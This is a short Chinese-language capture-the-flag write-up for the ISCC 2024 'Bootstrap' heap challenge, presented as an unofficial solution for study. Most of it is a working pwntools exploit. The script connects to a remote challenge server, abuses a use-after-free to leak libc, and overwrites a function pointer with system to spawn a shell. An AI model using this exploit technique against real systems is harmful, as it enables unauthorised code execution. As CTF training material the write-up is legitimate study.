Bootstrap

ISCC2024个人挑战赛WP-ISCC_U

(非官方解,以下内容均互联网收集的信息和个人思路,仅供学习参考) 

一个堆题

uaf漏洞

申请默认两个堆块,第一个默认为0x8,

print函数,使用 heap中的自己的调用来完成show

把调用处的改为sysyem即可

from pwn import *
from LibcSearcher import*
p=remote('182.92.237.102',10016)
libc=ELF('../libc/libc6-i386_2.31-0ubuntu9.14_amd64.so')

def create(Size,Content=b'a'):
    p.recvuntil(b'choice')
    p.sendline(b'1')
    p.recvuntil(b'size')
    p.sendline(bytes(str(Size),'utf-8'))
    p.recvuntil(b'Content')
    p.send(Content)
def free(id):
    p.recvuntil(b'choice')
    p.sendline(b'2')
    p.recvuntil(b'Index')
    p.sendline(bytes(str(id),'utf-8'))
def show(id):
    p.recvuntil(b'choice')
    p.sendline(b'3')
    p.recvuntil(b'Index')
    p.sendline(bytes(str(id),'utf-8'))



create(0x500)
create(0x20)
free(0)
create(0x500,b'a'*4)
show(0)

libc_add=u32(p.recvuntil(b'\xf7')[-4:])
malloc_hook=libc_add-56-0x18
libcbase=malloc_hook-libc.symbols['__malloc_hook']
system=libcbase+libc.symbols['system']+1
puts=libcbase+libc.symbols['puts']

success('malloc_hook '+hex(malloc_hook))
success('libcbase '+hex(libcbase))
free(1)
free(2)

create(0x8,p32(system)+b';sh;')
show(1)


p.interactive()

;